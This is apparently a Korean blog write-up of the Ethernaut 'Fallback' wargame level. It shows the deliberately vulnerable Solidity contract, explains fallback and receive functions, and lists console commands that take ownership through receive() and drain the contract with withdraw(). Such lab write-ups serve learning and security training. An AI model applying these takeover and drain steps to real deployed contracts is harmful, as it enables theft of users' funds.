티스토리 뷰
1. 문제
아래의 컨트랙트 코드를 잘 살펴보고 다음의 문제를 해결하자.
1. 컨트랙트의 소유권을 탈취해라.
2. 컨트랙트의 이더 잔액(balance)을 0으로 만들어라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
2. Fallback 함수
fallback 함수는 컨트랙트에 정의되어 있지 않은 함수가 호출될 경우 자동으로 호출되는 함수입니다. 예를 들어, 계정 간의 이더를 전송하는 transfer 함수를 컨트랙트를 대상으로 실행했을 때 이는 컨트랙트 내부에 정의된 함수가 아닌 외부 함수이기 때문에 fallback 함수가 실행됩니다.
fallback 함수에는 fallback, receive 두 가지가 존재하는데, 메시지에 데이터(calldata)가 담겨 있으면 fallback이 호출되고, 비어있으면 receive가 호출되는 정도의 차이를 가지고 있습니다.
Fallback 함수 테스트
Remix IDE에서 실행해 보세요.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;
import "hardhat/console.sol";
contract Fallback {
fallback() external payable {
console.log("fallback!");
console.logBytes(msg.data);
}
receive() external payable {
console.log("receive!");
}
}
1. calldata가 비어있는 경우
2. calldata에 데이터가 들어있는 경우
3. receive 또는 fallback 하나만 존재할 경우
3-1. fallback만 있는데 calldata가 비어있는 경우
3-2. receive만 있는데 calldata가 들어있는 경우
4. 결론
calldata가 들어가야 한다 > fallback 사용
calldata 없어도 된다 > 둘 다 사용 가능
3. 컨트랙트의 소유권 탈취
컨트랙트 코드를 살펴보면 소유권을 탈취할 수 있는 방법은 두 가지가 있는 것을 확인할 수 있습니다.
1. contribute 함수를 활용
mapping(address => uint) public contributions;
address public owner;
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
함수의 if 절을 확인하면, 함수를 호출한 sender의 기여도가 owner보다 클 경우에 소유권을 sender에게 넘겨주게 되어 있습니다.
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
그런데 보시다시피 컨트랙트를 생성할 때 owner의 기여도를 무려 1000 이더로 설정해 놓았기 때문에 이 방법은 사실상 불가능한 방법입니다. 또한 한 번에 전송할 수 있는 이더의 양이 0.001 미만이어야 하므로 무한으로 즐겨야 하는 상황에 놓이게 됩니다. 소유권을 탈취하기 어렵게 만들기 위해 이런 식으로 설계를 한 것 같습니다.
2. Fallback 함수를 활용
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
앞서 fallback 함수를 다룬 이유가 여기 있습니다. 이 컨트랙트는 외부 함수로 이더를 송금받으면 fallback 함수를 통해 sender에게 컨트랙트의 소유권을 넘겨주도록 설계되어 있습니다. 이렇게 쉽게 소유권을 넘겨줄거면 contribue 함수에서 짤짤이로 무한반복하게 하는 설계도 아무런 의미가 없어지는 것이죠.
한 가지 주의할 점은 receive 함수가 동작하기 위해서는 require 문에 명시되어 있다시피 먼저 극소량이라도 기여도를 올려놓아야 합니다.
4. 컨트랙트의 이더 잔액을 0으로 만들기
문제 해결의 두 번째 조건으로 컨트랙트의 이더 잔액을 0으로 만들어야 한다고 명시되어 있습니다. 이 부분은 컨트랙트의 소유권을 탈취하고 withdraw 함수를 호출하기만 하면 달성되므로 어려운 점은 없습니다.
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
5. 문제 해결하기
먼저 기여도를 쌓아야 합니다. 콘솔창에서 다음과 같이 코드를 입력하고 실행합니다.
await contract.contribute({value: toWei("0.00001")})
트랜잭션을 컨펌하고 잠시 기다리면 트랜잭션 해시값이 콘솔창에 출력되고, 그러고 나면 기여도를 확인할 수 있습니다.
다음으로 컨트랙트로 이더를 전송해 보겠습니다. help 명령어를 실행하면 사용할 수 있는 명령어 목록이 출력됩니다. 이더를 전송하기 위해서는 sendTransaction 명령어를 사용합니다.
await sendTransaction({from: player, to: instance, value: toWei("0.00000000000001")})
트랜잭션이 컨펌되고 나면 다음과 같이 소유권을 확인합니다.
마지막!으로 withdraw 함수를 호출하여 컨트랙트의 이더 잔액을 모두 빼옵니다.
await contract.withdraw()
아니...
이거 왜 취소도 안되고 가속화도 안되는데... 나 문제 풀었으니까 좀 보내줘...
*아무튼 해결함. 결과 업데이트 예정*
일시 미정
1월 5일 오전 8시 44분 추가
자고 일어나니까 트랜잭션이 컨펌되어 있었습니다. 제출까지 완료.
6. 결론
fallback 함수, 제대로 알고 사용하자. 당신의 소유권, 휴지 조각으로 대체되었다.
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 5. Token (0) | 2024.01.15 |
---|---|
[Ethernaut] 4. Telephone (0) | 2024.01.08 |
[Ethernaut] 3. CoinFlip (0) | 2024.01.07 |
[Ethernaut] 2. Fallout (2) | 2024.01.05 |
[Ethernaut] 0. Hello Ethernaut (1) | 2024.01.04 |